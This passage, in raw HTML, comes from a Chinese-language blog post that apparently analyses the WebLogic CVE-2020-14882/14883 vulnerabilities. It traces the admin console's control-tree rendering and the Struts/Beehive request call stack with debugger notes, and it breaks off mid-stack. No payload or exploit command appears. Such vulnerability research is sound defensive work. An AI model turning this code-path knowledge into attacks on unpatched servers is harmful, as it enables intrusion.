&lt;span class="n"&gt;wlserver&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;consoleapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;webapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WEB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INF&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netuix_servlet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;bea&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netuix&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;nf&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;ControlTreeWalker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;walk&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这个就是深度优先遍历控件树的代码，&lt;code&gt;walkRecursivePreRender&lt;/code&gt;会以递归的方式遍历控件树中的每一个控件&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607847095799" src="https://s2.loli.net/2024/06/14/EySo2V1GtYCu9L3.png"&gt;&lt;/p&gt;
&lt;p&gt;我们跟入该方法，这里会判断是否为根节点，然后分别调用不同的方法，不过最后还是会调用&lt;code&gt;visit&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607847289295" src="https://s2.loli.net/2024/06/14/Vwd8a2gvoCrKx6k.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607847535690" src="https://s2.loli.net/2024/06/14/i4fTDVLSzvrUeJN.png"&gt;&lt;/p&gt;
&lt;p&gt;我们跟入&lt;code&gt;visit&lt;/code&gt;方法，最后我们需要跟入&lt;code&gt;control.preRender()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607847651923" src="https://s2.loli.net/2024/06/14/JNM9RKWmT6Lxb4D.png"&gt;&lt;/p&gt;
&lt;p&gt;回过头来看&lt;code&gt;walkRecursivePreRender&lt;/code&gt;方法的代码，下面这个就是递归的主要代码，自己调用自己，我们可以跟一下这个方法，看一下每次调用时的控件类型&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607847886051" src="https://s2.loli.net/2024/06/14/RX187EQwFP5Uayv.png"&gt;&lt;/p&gt;
&lt;p&gt;完整地跟下来并记录&lt;code&gt;child&lt;/code&gt;的值（第一次的值在&lt;code&gt;root&lt;/code&gt;变量中），我们得到如下结果：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;control&lt;span class="w"&gt;  &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;com.bea.netuix.nf.ControlTreeRoot&lt;span class="o"&gt;)&lt;/span&gt;
control&lt;span class="w"&gt;  &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;com.bea.netuix.servlets.controls.application.Desktop&lt;span class="o"&gt;)&lt;/span&gt;
control&lt;span class="w"&gt;  &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;com.bea.netuix.servlets.controls.application.LookAndFeel&lt;span class="o"&gt;)&lt;/span&gt;
control&lt;span class="w"&gt;  &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;com.bea.netuix.servlets.controls.application.PrimaryTheme&lt;span class="o"&gt;)&lt;/span&gt;
control&lt;span class="w"&gt;  &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;com.bea.netuix.servlets.controls.application.Shell&lt;span class="o"&gt;)&lt;/span&gt;
control&lt;span class="w"&gt;  &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;com.bea.netuix.servlets.controls.application.Head&lt;span class="o"&gt;)&lt;/span&gt;
control&lt;span class="w"&gt;  &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;com.bea.netuix.servlets.controls.application.Body&lt;span class="o"&gt;)&lt;/span&gt;
control&lt;span class="w"&gt;  &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;com.bea.netuix.servlets.controls.application.Header&lt;span class="o"&gt;)&lt;/span&gt;
Main&lt;span class="w"&gt; &lt;/span&gt;Page&lt;span class="w"&gt; &lt;/span&gt;Book
control&lt;span class="w"&gt;  &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;com.bea.netuix.servlets.controls.window.Content&lt;span class="o"&gt;)&lt;/span&gt;
not.used
control&lt;span class="w"&gt;  &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;com.bea.netuix.servlets.controls.window.Content&lt;span class="o"&gt;)&lt;/span&gt;
control&lt;span class="w"&gt;  &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;com.bea.netuix.servlets.controls.layout.Layout&lt;span class="o"&gt;)&lt;/span&gt;
control&lt;span class="w"&gt;  &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;com.bea.netuix.servlets.controls.layout.Placeholder&lt;span class="o"&gt;)&lt;/span&gt;
Portlet&lt;span class="w"&gt; &lt;/span&gt;Control:&lt;span class="w"&gt; &lt;/span&gt;title&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;null&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;definition&lt;span class="w"&gt; &lt;/span&gt;label:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;WorkspaceMessagesPortlet&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;instance&lt;span class="w"&gt; &lt;/span&gt;label&lt;span class="w"&gt; &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;jndi_portlet_messages&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;definitionId:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;null&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;instanceId:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;null&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;uniqueId:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;t_jndi_portlet_messages&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;class:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;com.bea.netuix.servlets.controls.portlet.Portlet&lt;span class="o"&gt;]&lt;/span&gt;
control&lt;span class="w"&gt;  &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;com.bea.netuix.servlets.controls.window.Content&lt;span class="o"&gt;)&lt;/span&gt;
control&lt;span class="w"&gt;  &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;com.bea.netuix.servlets.controls.content.StrutsContent&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;和下面这张图对比一下，可以发现完全一致，因此最先进行渲染的控件就是&lt;code&gt;com.bea.netuix.servlets.controls.content.StrutsContent&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="https://s2.loli.net/2024/06/14/dUXC7puIlnxM3yD.gif"&gt;&lt;/p&gt;
&lt;p&gt;另外，从&lt;code&gt;consolejndi.portal&lt;/code&gt;文件中我们也能看出一致性&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607848718858" src="https://s2.loli.net/2024/06/14/LFCVchq17fP4JAi.png"&gt;&lt;/p&gt;
&lt;p&gt;我们按照上面的顺序先找到&lt;code&gt;ContentHeader_messages.portlet&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607848961927" src="https://s2.loli.net/2024/06/14/cog9XM2OPlY7CNV.png"&gt;&lt;/p&gt;
&lt;p&gt;然后打开该&lt;code&gt;portlet&lt;/code&gt;文件&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607849031876" src="https://s2.loli.net/2024/06/14/jKZ9P6UArheH1xV.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到和我们一路跟下来的结果是一样的，由于上面的&lt;code&gt;control.preRender&lt;/code&gt;方法无法直接跟入，我们可以先找到&lt;code&gt;com.bea.netuix.servlets.controls.content.StrutsContent&lt;/code&gt;类，直接在它的&lt;code&gt;preRender&lt;/code&gt;方法体中下断点，类的位置是&lt;code&gt;wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\netuix_servlet.jar!\com\bea\netuix\servlets\controls\content\StrutsContent.class&lt;/code&gt;，但是并没有&lt;code&gt;preRender&lt;/code&gt;方法，那我们就看它的父类&lt;code&gt;NetuiContent&lt;/code&gt;，在它的&lt;code&gt;preRender&lt;/code&gt;方法中下断点&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607851418886" src="https://s2.loli.net/2024/06/14/5S8gAqI4DnpQEJT.png"&gt;&lt;/p&gt;
&lt;p&gt;跟入&lt;code&gt;getScopedContentStub&lt;/code&gt;方法，该方法最终返回一个&lt;code&gt;StrutsStubImpl&lt;/code&gt;对象，然后执行其&lt;code&gt;render&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607851486411" src="https://s2.loli.net/2024/06/14/gOF2Hw74EW13kL6.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607851509630" src="https://s2.loli.net/2024/06/14/7EYwosaNOymzr8l.png"&gt;&lt;/p&gt;
&lt;p&gt;我们在&lt;code&gt;StrutsStubImpl&lt;/code&gt;的&lt;code&gt;render&lt;/code&gt;方法处下断点，跟入&lt;code&gt;renderInternal&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607851614965" src="https://s2.loli.net/2024/06/14/FlhOAj9SIoHYwng.png"&gt;&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;renderInternal&lt;/code&gt;执行了一系列的初始化操作之后，最终执行&lt;code&gt;executeAction&lt;/code&gt;方法，&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607851863118" src="https://s2.loli.net/2024/06/14/rqoe6Gj5ucFs2Np.png"&gt;&lt;/p&gt;
&lt;p&gt;跟入该方法的&lt;code&gt;strutsLookup&lt;/code&gt;方法，继续跟入&lt;code&gt;strutsLookupInternal&lt;/code&gt;方法，跟入&lt;code&gt;org.apache.beehive.netui.pageflow.PageFlowUtils.strutsLookup&lt;/code&gt;方法，再跟入&lt;code&gt;wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\beehive-netui-core.jar!\org\apache\beehive\netui\pageflow\PageFlowUtils.class#strutsLookup&lt;/code&gt;，最后跟进&lt;code&gt;as.doGet&lt;/code&gt;，这里的&lt;code&gt;as&lt;/code&gt;是在下面这处完成实例化的，跟进&lt;code&gt;getActionServlet&lt;/code&gt;我们可以看到实例化过程&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607852108367" src="https://s2.loli.net/2024/06/14/zgVHv2aJDS8YAm9.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607852167685" src="https://s2.loli.net/2024/06/14/3urnloZIhaD57AU.png"&gt;&lt;/p&gt;
&lt;p&gt;我们可以在&lt;code&gt;web.xml&lt;/code&gt;中看到对应关系，&lt;code&gt;weblogic.servlet.AsyncInitServlet&lt;/code&gt;我们&lt;a href="http://144.34.164.217/weblogic-cve-2020-1488214883lou-dong-fen-xi.html#qqqHouTaiJieMianDaiMaZhiXingLiuCheng"&gt;上面已经分析过了&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607852480417" src="https://s2.loli.net/2024/06/14/NlA73WJIr8bqZjk.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;as&lt;/code&gt;其实就是&lt;code&gt;ConsoleActionServlet&lt;/code&gt;对象，我们跟入其&lt;code&gt;doGet&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607852034305" src="https://s2.loli.net/2024/06/14/halR6ODx3eGBJqs.png"&gt;&lt;/p&gt;
&lt;p&gt;再跟入&lt;code&gt;super.doGet()&lt;/code&gt;，后面的调用栈如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;wlserver&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;consoleapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;webapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WEB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INF&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;struts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;apache&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;struts&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;ActionServlet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;doGet&lt;/span&gt;
&lt;span class="n"&gt;wlserver&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;consoleapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;webapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WEB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INF&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;bea&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;console&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;internal&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;ConsoleActionServlet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;
&lt;span class="n"&gt;wlserver&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;consoleapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;webapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WEB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INF&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;beehive&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;netui&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;apache&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;beehive&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netui&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;pageflow&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;PageFlowActionServlet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;
&lt;span class="n"&gt;wlserver&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;consoleapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;webapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WEB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INF&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;beehive&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;netui&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;apache&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;beehive&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netui&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;pageflow&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;AutoRegisterActionServlet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;
&lt;span class="n"&gt;wlserver&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;consoleapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;webapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WEB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INF&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;beehive&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;netui&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;apache&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;beehive&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netui&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;pageflow&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;PageFlowRequestProcessor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;
&lt;span class="n"&gt;wlserver&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;consoleapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;webapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WEB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INF&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;beehive&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;netui&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;apache&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;beehive&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;netui&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;pageflow&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;PageFlowRequestProcessor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;processInternal&lt;/span&gt;
&lt;span class="n"&gt;wlserver&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;consoleapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;webapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WEB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INF&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;struts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;apache&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;struts&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;RequestProcessor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;
&lt;span class="n"&gt;wlserver&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;consoleapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;webapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WEB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INF&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;bea&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;console&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;internal&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;ConsolePageFlowRequestProcessor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;processActionPerform&lt;/span&gt;
&lt;span class="n"&gt;wlserver&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;consoleapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;webapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WEB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INF&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span 